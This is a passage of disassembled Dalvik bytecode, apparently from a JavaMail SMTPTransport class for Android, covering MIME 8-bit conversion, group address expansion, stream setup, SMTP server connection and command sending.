:68
00000068 invoke-super Transport->close()V, p0
:6E
0000006E throw v0
.catch IOException {:2 .. :14} :38
.catchall {:2 .. :14} :4A
.catchall {:3A .. :4A} :4A
.end method
.method private convertTo8Bit(MimePart)Z
.registers 8
00000000 const/4 v2, 0x1
00000002 const/4 v3, 0x0
:4
00000004 const-string v0, "text/*"
00000008 invoke-interface MimePart->isMimeType(String)Z, p1, v0
0000000E move-result v0
00000010 if-eqz v0, :7A
:14
00000014 invoke-interface MimePart->getEncoding()String, p1
0000001A move-result-object v0
0000001C if-eqz v0, :DC
:20
00000020 const-string v1, "quoted-printable"
00000024 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000002A move-result v1
0000002C if-nez v1, :40
:30
00000030 const-string v1, "base64"
00000034 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000003A move-result v0
0000003C if-eqz v0, :DC
:40
00000040 invoke-interface MimePart->getInputStream()InputStream, p1
00000046 move-result-object v0
00000048 invoke-direct SMTPTransport->is8Bit(InputStream)Z, p0, v0
0000004E move-result v0
00000050 if-eqz v0, :DC
:54
00000054 invoke-interface MimePart->getContent()Object, p1
0000005A move-result-object v0
0000005C invoke-interface MimePart->getContentType()String, p1
00000062 move-result-object v1
00000064 invoke-interface MimePart->setContent(Object, String)V, p1, v0, v1
0000006A const-string v0, "Content-Transfer-Encoding"
0000006E const-string v1, "8bit"
00000072 invoke-interface MimePart->setHeader(String, String)V, p1, v0, v1
:78
00000078 return v2
:7A
0000007A const-string v0, "multipart/*"
0000007E invoke-interface MimePart->isMimeType(String)Z, p1, v0
00000084 move-result v0
00000086 if-eqz v0, :DC
:8A
0000008A invoke-interface MimePart->getContent()Object, p1
00000090 move-result-object v0
00000092 check-cast v0, MimeMultipart
00000096 invoke-virtual MimeMultipart->getCount()I, v0
0000009C move-result v5
0000009E move v4, v3
:A0
000000A0 if-lt v4, v5, :A8
:A4
000000A4 move v2, v3
000000A6 goto :78
:A8
000000A8 invoke-virtual MimeMultipart->getBodyPart(I)BodyPart, v0, v4
000000AE move-result-object v1
000000B0 check-cast v1, MimePart
000000B4 invoke-direct SMTPTransport->convertTo8Bit(MimePart)Z, p0, v1
:BA
000000BA move-result v1
000000BC if-eqz v1, :D8
:C0
000000C0 move v1, v2
:C2
000000C2 add-int/lit8 v3, v4, 0x1
000000C6 move v4, v3
000000C8 move v3, v1
000000CA goto :A0
:CC
000000CC move-exception v0
000000CE move v2, v3
000000D0 goto :78
:D2
000000D2 move-exception v0
000000D4 move v2, v3
000000D6 goto :78
:D8
000000D8 move v1, v3
000000DA goto :C2
:DC
000000DC move v2, v3
000000DE goto :78
.catch IOException {:4 .. :BA} :D2
.catch MessagingException {:4 .. :BA} :CC
.end method
.method private expandGroups()V
.registers 8
00000000 const/4 v3, 0x0
00000002 const/4 v1, 0x0
00000004 move v2, v3
:6
00000006 iget-object v0, p0, SMTPTransport->addresses:[Address
0000000A array-length v0, v0
0000000C if-lt v2, v0, :2C
:10
00000010 if-eqz v1, :2A
:14
00000014 invoke-virtual Vector->size()I, v1
0000001A move-result v0
0000001C new-array v0, v0, [InternetAddress
00000020 invoke-virtual Vector->copyInto([Object)V, v1, v0
00000026 iput-object v0, p0, SMTPTransport->addresses:[Address
:2A
0000002A return-void
:2C
0000002C iget-object v0, p0, SMTPTransport->addresses:[Address
00000030 aget-object v0, v0, v2
00000034 check-cast v0, InternetAddress
00000038 invoke-virtual InternetAddress->isGroup()Z, v0
0000003E move-result v4
00000040 if-eqz v4, :B4
:44
00000044 if-nez v1, :58
:48
00000048 new-instance v1, Vector
0000004C invoke-direct Vector-><init>()V, v1
00000052 move v4, v3
:54
00000054 if-lt v4, v2, :7A
:58
00000058 const/4 v4, 0x1
:5A
0000005A invoke-virtual InternetAddress->getGroup(Z)[InternetAddress, v0, v4
00000060 move-result-object v5
00000062 if-eqz v5, :9E
:66
00000066 move v4, v3
:68
00000068 array-length v6, v5
:6A
0000006A if-lt v4, v6, :8E
:6E
0000006E move-object v0, v1
:70
00000070 add-int/lit8 v1, v2, 0x1
00000074 move v2, v1
00000076 move-object v1, v0
00000078 goto :6
:7A
0000007A iget-object v5, p0, SMTPTransport->addresses:[Address
0000007E aget-object v5, v5, v4
00000082 invoke-virtual Vector->addElement(Object)V, v1, v5
00000088 add-int/lit8 v4, v4, 0x1
0000008C goto :54
:8E
0000008E aget-object v6, v5, v4
00000092 invoke-virtual Vector->addElement(Object)V, v1, v6
00000098 add-int/lit8 v4, v4, 0x1
0000009C goto :68
:9E
0000009E invoke-virtual Vector->addElement(Object)V, v1, v0
:A4
000000A4 move-object v0, v1
000000A6 goto :70
:A8
000000A8 move-exception v4
000000AA invoke-virtual Vector->addElement(Object)V, v1, v0
000000B0 move-object v0, v1
000000B2 goto :70
:B4
000000B4 if-eqz v1, :BE
:B8
000000B8 invoke-virtual Vector->addElement(Object)V, v1, v0
:BE
000000BE move-object v0, v1
000000C0 goto :70
.catch ParseException {:5A .. :6A} :A8
.catch ParseException {:8E .. :A4} :A8
.end method
.method private declared-synchronized getMD5()DigestMD5
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, SMTPTransport->md5support:DigestMD5
00000006 if-nez v0, :24
:A
0000000A new-instance v1, DigestMD5
0000000E iget-boolean v0, p0, SMTPTransport->debug:Z
00000012 if-eqz v0, :2C
:16
00000016 iget-object v0, p0, SMTPTransport->out:PrintStream
:1A
0000001A invoke-direct DigestMD5-><init>(PrintStream)V, v1, v0
00000020 iput-object v1, p0, SMTPTransport->md5support:DigestMD5
:24
00000024 iget-object v0, p0, SMTPTransport->md5support:DigestMD5
:28
00000028 monitor-exit p0
0000002A return-object v0
:2C
0000002C const/4 v0, 0x0
0000002E goto :1A
:30
00000030 move-exception v0
00000032 monitor-exit p0
00000034 throw v0
.catchall {:2 .. :28} :30
.end method
.method private initStreams()V
.registers 7
00000000 iget-object v0, p0, SMTPTransport->session:Session
00000004 invoke-virtual Session->getProperties()Properties, v0
0000000A move-result-object v0
0000000C iget-object v1, p0, SMTPTransport->session:Session
00000010 invoke-virtual Session->getDebugOut()PrintStream, v1
00000016 move-result-object v1
00000018 iget-object v2, p0, SMTPTransport->session:Session
0000001C invoke-virtual Session->getDebug()Z, v2
00000022 move-result v2
00000024 const-string v3, "mail.debug.quote"
00000028 invoke-virtual Properties->getProperty(String)String, v0, v3
0000002E move-result-object v0
00000030 if-eqz v0, :BA
:34
00000034 const-string v3, "true"
00000038 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v3
0000003E move-result v0
00000040 if-eqz v0, :BA
:44
00000044 const/4 v0, 0x1
:46
00000046 new-instance v3, TraceInputStream
0000004A iget-object v4, p0, SMTPTransport->serverSocket:Socket
0000004E invoke-virtual Socket->getInputStream()InputStream, v4
00000054 move-result-object v4
00000056 invoke-direct TraceInputStream-><init>(InputStream, OutputStream)V, v3, v4, v1
0000005C invoke-virtual TraceInputStream->setTrace(Z)V, v3, v2
00000062 invoke-virtual TraceInputStream->setQuote(Z)V, v3, v0
00000068 new-instance v4, TraceOutputStream
0000006C iget-object v5, p0, SMTPTransport->serverSocket:Socket
00000070 invoke-virtual Socket->getOutputStream()OutputStream, v5
00000076 move-result-object v5
00000078 invoke-direct TraceOutputStream-><init>(OutputStream, OutputStream)V, v4, v5, v1
0000007E invoke-virtual TraceOutputStream->setTrace(Z)V, v4, v2
00000084 invoke-virtual TraceOutputStream->setQuote(Z)V, v4, v0
0000008A new-instance v0, BufferedOutputStream
0000008E invoke-direct BufferedOutputStream-><init>(OutputStream)V, v0, v4
00000094 iput-object v0, p0, SMTPTransport->serverOutput:OutputStream
00000098 new-instance v0, BufferedInputStream
0000009C invoke-direct BufferedInputStream-><init>(InputStream)V, v0, v3
000000A2 iput-object v0, p0, SMTPTransport->serverInput:BufferedInputStream
000000A6 new-instance v0, LineInputStream
000000AA iget-object v1, p0, SMTPTransport->serverInput:BufferedInputStream
000000AE invoke-direct LineInputStream-><init>(InputStream)V, v0, v1
000000B4 iput-object v0, p0, SMTPTransport->lineInputStream:LineInputStream
000000B8 return-void
:BA
000000BA const/4 v0, 0x0
000000BC goto :46
.end method
.method private is8Bit(InputStream)Z
.registers 7
00000000 const/4 v0, 0x0
00000002 move v1, v0
00000004 move v2, v0
:6
00000006 invoke-virtual InputStream->read()I, p1
:C
0000000C move-result v3
0000000E if-gez v3, :30
:12
00000012 iget-boolean v0, p0, SMTPTransport->debug:Z
00000016 if-eqz v0, :2C
:1A
0000001A if-eqz v1, :2C
:1E
0000001E iget-object v0, p0, SMTPTransport->out:PrintStream
00000022 const-string v2, "DEBUG SMTP: found an 8bit part"
00000026 invoke-virtual PrintStream->println(String)V, v0, v2
:2C
0000002C move v0, v1
:2E
0000002E return v0
:30
00000030 and-int/lit16 v3, v3, 0xFF
00000034 const/16 v4, 0xD
00000038 if-eq v3, v4, :44
:3C
0000003C const/16 v4, 0xA
00000040 if-ne v3, v4, :52
:44
00000044 move v2, v0
:46
00000046 const/16 v4, 0x7F
0000004A if-le v3, v4, :6
:4E
0000004E const/4 v1, 0x1
00000050 goto :6
:52
00000052 if-eqz v3, :2E
:56
00000056 add-int/lit8 v2, v2, 0x1
0000005A const/16 v4, 0x3E6
0000005E if-le v2, v4, :46
:62
00000062 goto :2E
:64
00000064 move-exception v1
00000066 goto :2E
.catch IOException {:6 .. :C} :64
.end method
.method private isNotLastLine(String)Z
.registers 4
00000000 if-eqz p1, :28
:4
00000004 invoke-virtual String->length()I, p1
0000000A move-result v0
0000000C const/4 v1, 0x4
0000000E if-lt v0, v1, :28
:12
00000012 const/4 v0, 0x3
00000014 invoke-virtual String->charAt(I)C, p1, v0
0000001A move-result v0
0000001C const/16 v1, 0x2D
00000020 if-ne v0, v1, :28
:24
00000024 const/4 v0, 0x1
:26
00000026 return v0
:28
00000028 const/4 v0, 0x0
0000002A goto :26
.end method
.method private issueSendCommand(String, I)V
.registers 11
00000000 const/4 v1, 0x0
00000002 invoke-virtual SMTPTransport->sendCommand(String)V, p0, p1
00000008 invoke-virtual SMTPTransport->readServerResponse()I, p0
0000000E move-result v2
00000010 if-eq v2, p2, :F6
:14
00000014 iget-object v0, p0, SMTPTransport->validSentAddr:[Address
00000018 if-nez v0, :E6
:1C
0000001C move v0, v1
:1E
0000001E iget-object v3, p0, SMTPTransport->validUnsentAddr:[Address
00000022 if-nez v3, :EE
:26
00000026 move v3, v1
:28
00000028 add-int v4, v0, v3
0000002C new-array v4, v4, [Address
00000030 if-lez v0, :3E
:34
00000034 iget-object v5, p0, SMTPTransport->validSentAddr:[Address
00000038 invoke-static System->arraycopy(Object, I, Object, I, I)V, v5, v1, v4, v1, v0
:3E
0000003E if-lez v3, :4C
:42
00000042 iget-object v5, p0, SMTPTransport->validUnsentAddr:[Address
00000046 invoke-static System->arraycopy(Object, I, Object, I, I)V, v5, v1, v4, v0, v3
:4C
0000004C const/4 v0, 0x0
0000004E iput-object v0, p0, SMTPTransport->validSentAddr:[Address
00000052 iput-object v4, p0, SMTPTransport->validUnsentAddr:[Address
00000056 iget-boolean v0, p0, SMTPTransport->debug:Z
0000005A if-eqz v0, :9E
:5E
0000005E iget-object v0, p0, SMTPTransport->out:PrintStream
00000062 new-instance v1, StringBuilder
00000066 const-string v3, "DEBUG SMTP: got response code "
0000006A invoke-direct StringBuilder-><init>(String)V, v1, v3
00000070 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000076 move-result-object v1
00000078 const-string v3, ", with response: "
0000007C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v3
00000082 move-result-object v1
00000084 iget-object v3, p0, SMTPTransport->lastServerResponse:String
00000088 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v3
0000008E move-result-object v1
00000090 invoke-virtual StringBuilder->toString()String, v1
00000096 move-result-object v1
00000098 invoke-virtual PrintStream->println(String)V, v0, v1
:9E
0000009E iget-object v0, p0, SMTPTransport->lastServerResponse:String
000000A2 iget v1, p0, SMTPTransport->lastReturnCode:I
000000A6 iget-object v3, p0, SMTPTransport->serverSocket:Socket
000000AA if-eqz v3, :BC
:AE
000000AE const-string v3, "RSET"
000000B2 const/16 v4, 0xFA
000000B6 invoke-virtual SMTPTransport->issueCommand(String, I)V, p0, v3, v4
:BC
000000BC iput-object v0, p0, SMTPTransport->lastServerResponse:String
000000C0 iput v1, p0, SMTPTransport->lastReturnCode:I
000000C4 new-instance v0, SMTPSendFailedException
000000C8 iget-object v3, p0, SMTPTransport->lastServerResponse:String
000000CC iget-object v4, p0, SMTPTransport->exception:MessagingException
000000D0 iget-object v5, p0, SMTPTransport->validSentAddr:[Address
000000D4 iget-object v6, p0, SMTPTransport->validUnsentAddr:[Address
000000D8 iget-object v7, p0, SMTPTransport->invalidAddr:[Address
000000DC move-object v1, p1
000000DE invoke-direct/range SMTPSendFailedException-><init>(String, I, String, Exception, [Address, [Address, [Address)V, v0 .. v7
000000E4 throw v0
:E6
000000E6 iget-object v0, p0, SMTPTransport->validSentAddr:[Address
000000EA array-length v0, v0
000000EC goto :1E
:EE
000000EE iget-object v3, p0, SMTPTransport->validUnsentAddr:[Address
000000F2 array-length v3, v3
000000F4 goto :28
:F6
000000F6 return-void
.end method
.method private normalizeAddress(String)String
.registers 4
00000000 const-string v0, "<"
00000004 invoke-virtual String->startsWith(String)Z, p1, v0
0000000A move-result v0
0000000C if-nez v0, :4A
:10
00000010 const-string v0, ">"
00000014 invoke-virtual String->endsWith(String)Z, p1, v0
0000001A move-result v0
0000001C if-nez v0, :4A
:20
00000020 new-instance v0, StringBuilder
00000024 const-string v1, "<"
00000028 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000034 move-result-object v0
00000036 const-string v1, ">"
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000040 move-result-object v0
00000042 invoke-virtual StringBuilder->toString()String, v0
00000048 move-result-object p1
:4A
0000004A return-object p1
.end method
.method private openServer()V
.registers 7
00000000 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000002 const-string v1, "UNKNOWN"
:6
00000006 iget-object v0, p0, SMTPTransport->serverSocket:Socket
0000000A invoke-virtual Socket->getPort()I, v0
00000010 move-result v2
00000012 iget-object v0, p0, SMTPTransport->serverSocket:Socket
00000016 invoke-virtual Socket->getInetAddress()InetAddress, v0
0000001C move-result-object v0
0000001E invoke-virtual InetAddress->getHostName()String, v0
00000024 move-result-object v1
00000026 iget-boolean v0, p0, SMTPTransport->debug:Z
0000002A if-eqz v0, :6A
:2E
0000002E iget-object v0, p0, SMTPTransport->out:PrintStream
00000032 new-instance v3, StringBuilder
00000036 const-string v4, "DEBUG SMTP: starting protocol to host \""
0000003A invoke-direct StringBuilder-><init>(String)V, v3, v4
00000040 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v1
00000046 move-result-object v3
00000048 const-string v4, "\", port "
0000004C invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
00000052 move-result-object v3
00000054 invoke-virtual StringBuilder->append(I)StringBuilder, v3, v2
0000005A move-result-object v3
0000005C invoke-virtual StringBuilder->toString()String, v3
00000062 move-result-object v3
00000064 invoke-virtual PrintStream->println(String)V, v0, v3
:6A
0000006A invoke-direct SMTPTransport->initStreams()V, p0
00000070 invoke-virtual SMTPTransport->readServerResponse()I, p0
00000076 move-result v0
00000078 const/16 v3, 0xDC
0000007C if-eq v0, v3, :198
:80
00000080 iget-object v3, p0, SMTPTransport->serverSocket:Socket
00000084 invoke-virtual Socket->close()V, v3
0000008A const/4 v3, 0x0
0000008C iput-object v3, p0, SMTPTransport->serverSocket:Socket
00000090 const/4 v3, 0x0
00000092 iput-object v3, p0, SMTPTransport->serverOutput:OutputStream
00000096 const/4 v3, 0x0
00000098 iput-object v3, p0, SMTPTransport->serverInput:BufferedInputStream
0000009C const/4 v3, 0x0
0000009E iput-object v3, p0, SMTPTransport->lineInputStream:LineInputStream
000000A2 iget-boolean v3, p0, SMTPTransport->debug:Z
000000A6 if-eqz v3, :106
:AA
000000AA iget-object v3, p0, SMTPTransport->out:PrintStream
000000AE new-instance v4, StringBuilder
000000B2 const-string v5, "DEBUG SMTP: got bad greeting from host \""
000000B6 invoke-direct StringBuilder-><init>(String)V, v4, v5
000000BC invoke-virtual StringBuilder->append(String)StringBuilder, v4, v1
000000C2 move-result-object v4
000000C4 const-string v5, "\", port: "
000000C8 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
000000CE move-result-object v4
000000D0 invoke-virtual StringBuilder->append(I)StringBuilder, v4, v2
000000D6 move-result-object v4
000000D8 const-string v5, ", response: "
000000DC invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
000000E2 move-result-object v4
000000E4 invoke-virtual StringBuilder->append(I)StringBuilder, v4, v0
000000EA move-result-object v4
000000EC const-string v5, "\n"
000000F0 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
000000F6 move-result-object v4
000000F8 invoke-virtual StringBuilder->toString()String, v4
000000FE move-result-object v4
00000100 invoke-virtual PrintStream->println(String)V, v3, v4
:106
00000106 new-instance v3, MessagingException
0000010A new-instance v4, StringBuilder
0000010E const-string v5, "Got bad greeting from SMTP host: "
00000112 invoke-direct StringBuilder-><init>(String)V, v4, v5
00000118 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v1
0000011E move-result-object v4
00000120 const-string v5, ", port: "
00000124 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
0000012A move-result-object v4
0000012C invoke-virtual StringBuilder->append(I)StringBuilder, v4, v2
00000132 move-result-object v4
00000134 const-string v5, ", response: "
00000138 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
0000013E move-result-object v4
00000140 invoke-virtual StringBuilder->append(I)StringBuilder, v4, v0
00000146 move-result-object v0
00000148 invoke-virtual StringBuilder->toString()String, v0
0000014E move-result-object v0
00000150 invoke-direct MessagingException-><init>(String)V, v3, v0
00000156 throw v3
:158
00000158 move-exception v0
0000015A new-instance v3, MessagingException
0000015E new-instance v4, StringBuilder
00000162 const-string v5, "Could not start protocol to SMTP host: "
00000166 invoke-direct StringBuilder-><init>(String)V, v4, v5
0000016C invoke-virtual StringBuilder->append(String)StringBuilder, v4, v1
00000172 move-result-object v1
00000174 const-string v4, ", port: "
00000178 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v4
0000017E move-result-object v1
00000180 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000186 move-result-object v1
00000188 invoke-virtual StringBuilder->toString()String, v1
0000018E move-result-object v1
00000190 invoke-direct MessagingException-><init>(String, Exception)V, v3, v1, v0
00000196 throw v3
:198
00000198 iget-boolean v0, p0, SMTPTransport->debug:Z
0000019C if-eqz v0, :1E8
:1A0
000001A0 iget-object v0, p0, SMTPTransport->out:PrintStream
000001A4 new-instance v3, StringBuilder
000001A8 const-string v4, "DEBUG SMTP: protocol started to host \""
000001AC invoke-direct StringBuilder-><init>(String)V, v3, v4
000001B2 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v1
000001B8 move-result-object v3
000001BA const-string v4, "\", port: "
000001BE invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
000001C4 move-result-object v3
000001C6 invoke-virtual StringBuilder->append(I)StringBuilder, v3, v2
000001CC move-result-object v3
000001CE const-string v4, "\n"
000001D2 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
000001D8 move-result-object v3
000001DA invoke-virtual StringBuilder->toString()String, v3
000001E0 move-result-object v3
000001E2 invoke-virtual PrintStream->println(String)V, v0, v3
:1E8
000001E8 return-void
.catch IOException {:6 .. :158} :158
.catch IOException {:198 .. :1E8} :158
.end method
.method private openServer(String, I)V
.registers 7
00000000 iget-boolean v0, p0, SMTPTransport->debug:Z
00000004 if-eqz v0, :5C
:8
00000008 iget-object v0, p0, SMTPTransport->out:PrintStream
0000000C new-instance v1, StringBuilder
00000010 const-string v2, "DEBUG SMTP: trying to connect to host \""
00000014 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
00000020 move-result-object v1
00000022 const-string v2, "\", port "
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000002C move-result-object v1
0000002E invoke-virtual StringBuilder->append(I)StringBuilder, v1, p2
00000034 move-result-object v1
00000036 const-string v2, ", isSSL "
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000040 move-result-object v1
00000042 iget-boolean v2, p0, SMTPTransport->isSSL:Z
00000046 invoke-virtual StringBuilder->append(Z)StringBuilder, v1, v2
0000004C move-result-object v1
0000004E invoke-virtual StringBuilder->toString()String, v1
00000054 move-result-object v1
00000056 invoke-virtual PrintStream->println(String)V, v0, v1
:5C
0000005C iget-object v0, p0, SMTPTransport->session:Session
00000060 invoke-virtual Session->getProperties()Properties, v0
00000066 move-result-object v0
00000068 new-instance v1, StringBuilder
0000006C const-string v2, "mail."
00000070 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000076 iget-object v2, p0, SMTPTransport->name:String
0000007A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000080 move-result-object v1
00000082 invoke-virtual StringBuilder->toString()String, v1
00000088 move-result-object v1
0000008A iget-boolean v2, p0, SMTPTransport->isSSL:Z
0000008E invoke-static SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p1, p2, v0, v1, v2
00000094 move-result-object v0
00000096 iput-object v0, p0, SMTPTransport->serverSocket:Socket
0000009A iget-object v0, p0, SMTPTransport->serverSocket:Socket
0000009E invoke-virtual Socket->getPort()I, v0
000000A4 move-result p2
000000A6 invoke-direct SMTPTransport->initStreams()V, p0
000000AC invoke-virtual SMTPTransport->readServerResponse()I, p0
000000B2 move-result v0
000000B4 const/16 v1, 0xDC
000000B8 if-eq v0, v1, :1C0
:BC
000000BC iget-object v1, p0, SMTPTransport->serverSocket:Socket
000000C0 invoke-virtual Socket->close()V, v1
000000C6 const/4 v1, 0x0
000000C8 iput-object v1, p0, SMTPTransport->serverSocket:Socket
000000CC const/4 v1, 0x0
000000CE iput-object v1, p0, SMTPTransport->serverOutput:OutputStream
000000D2 const/4 v1, 0x0
000000D4 iput-object v1, p0, SMTPTransport->serverInput:BufferedInputStream
000000D8 const/4 v1, 0x0
000000DA iput-object v1, p0, SMTPTransport->lineInputStream:LineInputStream
000000DE iget-boolean v1, p0, SMTPTransport->debug:Z
000000E2 if-eqz v1, :142
:E6
000000E6 iget-object v1, p0, SMTPTransport->out:PrintStream
000000EA new-instance v2, StringBuilder
000000EE const-string v3, "DEBUG SMTP: could not connect to host \""
000000F2 invoke-direct StringBuilder-><init>(String)V, v2, v3
000000F8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
000000FE move-result-object v2
00000100 const-string v3, "\", port: "
00000104 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000010A move-result-object v2
0000010C invoke-virtual StringBuilder->append(I)StringBuilder, v2, p2
00000112 move-result-object v2
00000114 const-string v3, ", response: "
00000118 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000011E move-result-object v2
00000120 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v0
00000126 move-result-object v2
00000128 const-string v3, "\n"
0000012C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000132 move-result-object v2
00000134 invoke-virtual StringBuilder->toString()String, v2
0000013A move-result-object v2
0000013C invoke-virtual PrintStream->println(String)V, v1, v2
:142
00000142 new-instance v1, MessagingException
00000146 new-instance v2, StringBuilder
0000014A const-string v3, "Could not connect to SMTP host: "
0000014E invoke-direct StringBuilder-><init>(String)V, v2, v3
00000154 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
0000015A move-result-object v2
0000015C const-string v3, ", port: "
00000160 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000166 move-result-object v2
00000168 invoke-virtual StringBuilder->append(I)StringBuilder, v2, p2
0000016E move-result-object v2
00000170 const-string v3, ", response: "
00000174 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000017A move-result-object v2
0000017C invoke-virtual StringBuilder->append(I)StringBuilder, v2, v0
00000182 move-result-object v0
00000184 invoke-virtual StringBuilder->toString()String, v0
0000018A move-result-object v0
0000018C invoke-direct MessagingException-><init>(String)V, v1, v0
00000192 throw v1
:194
00000194 move-exception v0
00000196 new-instance v1, MessagingException
0000019A new-instance v2, StringBuilder
0000019E const-string v3, "Unknown SMTP host: "
000001A2 invoke-direct StringBuilder-><init>(String)V, v2, v3
000001A8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
000001AE move-result-object v2
000001B0 invoke-virtual StringBuilder->toString()String, v2
000001B6 move-result-object v2
000001B8 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000001BE throw v1
:1C0
000001C0 iget-boolean v0, p0, SMTPTransport->debug:Z
000001C4 if-eqz v0, :210
:1C8
000001C8 iget-object v0, p0, SMTPTransport->out:PrintStream
000001CC new-instance v1, StringBuilder
000001D0 const-string v2, "DEBUG SMTP: connected to host \""
000001D4 invoke-direct StringBuilder-><init>(String)V, v1, v2
000001DA invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
000001E0 move-result-object v1
000001E2 const-string v2, "\", port: "
000001E6 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000001EC move-result-object v1
000001EE invoke-virtual StringBuilder->append(I)StringBuilder, v1, p2
000001F4 move-result-object v1
000001F6 const-string v2, "\n"
000001FA invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000200 move-result-object v1
00000202 invoke-virtual StringBuilder->toString()String, v1
00000208 move-result-object v1
0000020A invoke-virtual PrintStream->println(String)V, v0, v1
:210
00000210 return-void
:212
00000212 move-exception v0
00000214 new-instance v1, MessagingException
00000218 new-instance v2, StringBuilder
0000021C const-string v3, "Could not connect to SMTP host: "
00000220 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000226 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
0000022C move-result-object v2
0000022E const-string v3, ", port: "
00000232 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000238 move-result-object v2
0000023A invoke-virtual StringBuilder->append(I)StringBuilder, v2, p2
00000240 move-result-object v2
00000242 invoke-virtual StringBuilder->toString()String, v2
00000248 move-result-object v2
0000024A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000250 throw v1
.catch UnknownHostException {:5C .. :194} :194
.catch IOException {:5C .. :194} :212
.catch UnknownHostException {:1C0 .. :210} :194
.catch IOException {:1C0 .. :210} :212
.end method
.method private sendCommand([B)V
.registers 5
00000000 sget-boolean v0, SMTPTransport->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 iget-object v0, p0, SMTPTransport->serverOutput:OutputStream
00000024 invoke-virtual OutputStream->write([B)V, v0, p1
0000002A iget-object v0, p0, SMTPTransport->serverOutput:OutputStream
0000002E sget-object v1, SMTPTransport->CRLF:[B
00000032 invoke-virtual OutputStream->write([B)V, v0, v1
00000038 iget-object v0, p0, SMTPTransport->serverOutput:OutputStream
0000003C invoke-virtual OutputStream->flush()V, v0
:42
00000042 return-void
:44
00000044 move-exception v0
00000046 new-instance v1, MessagingException
0000004A const-string v2, "Can\'t send command to SMTP host"
0000004E invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000054 throw v1
.catch IOException {:20 .. :42} :44
.end method
.method protected static xtext(String)String
.registers 8
00000000 const/16 v6, 0x2B
00000004 const/4 v2, 0x0
00000006 const/4 v0, 0x0
00000008 move v1, v2
:A
0000000A invoke-virtual String->length()I, p0
00000010 move-result v3
00000012 if-lt v1, v3, :24
:16
00000016 if-eqz v0, :22
:1A
0000001A invoke-virtual StringBuffer->toString()String, v0
00000020 move-result-object p0
:22
00000022 return-object p0
:24
00000024 invoke-virtual String->charAt(I)C, p0, v1
0000002A move-result v3
0000002C const/16 v4, 0x80
00000030 if-lt v3, v4, :5E
:34
00000034 new-instance v0, IllegalArgumentException
00000038 new-instance v1, StringBuilder
0000003C const-string v2, "Non-ASCII character in SMTP submitter: "
00000040 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000046 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p0
0000004C move-result-object v1
0000004E invoke-virtual StringBuilder->toString()String, v1
00000054 move-result-object v1
00000056 invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
0000005C throw v0
:5E
0000005E const/16 v4, 0x21
00000062 if-lt v3, v4, :7A
:66
00000066 const/16 v4, 0x7E
0000006A if-gt v3, v4, :7A
:6E
0000006E if-eq v3, v6, :7A
:72
00000072 const/16 v4, 0x3D
00000076 if-ne v3, v4, :D6
:7A
0000007A if-nez v0, :A2
:7E
0000007E new-instance v0, StringBuffer
00000082 invoke-virtual String->length()I, p0
00000088 move-result v4
0000008A add-int/lit8 v4, v4, 0x4
0000008E invoke-direct StringBuffer-><init>(I)V, v0, v4
00000094 invoke-virtual String->substring(I, I)String, p0, v2, v1
0000009A move-result-object v4
0000009C invoke-virtual StringBuffer->append(String)StringBuffer, v0, v4
:A2
000000A2 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v6
000000A8 sget-object v4, SMTPTransport->hexchar:[C
000000AC and-int/lit16 v5, v3, 0xF0
000000B0 shr-int/lit8 v5, v5, 0x4
000000B4 aget-char v4, v4, v5
000000B8 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v4
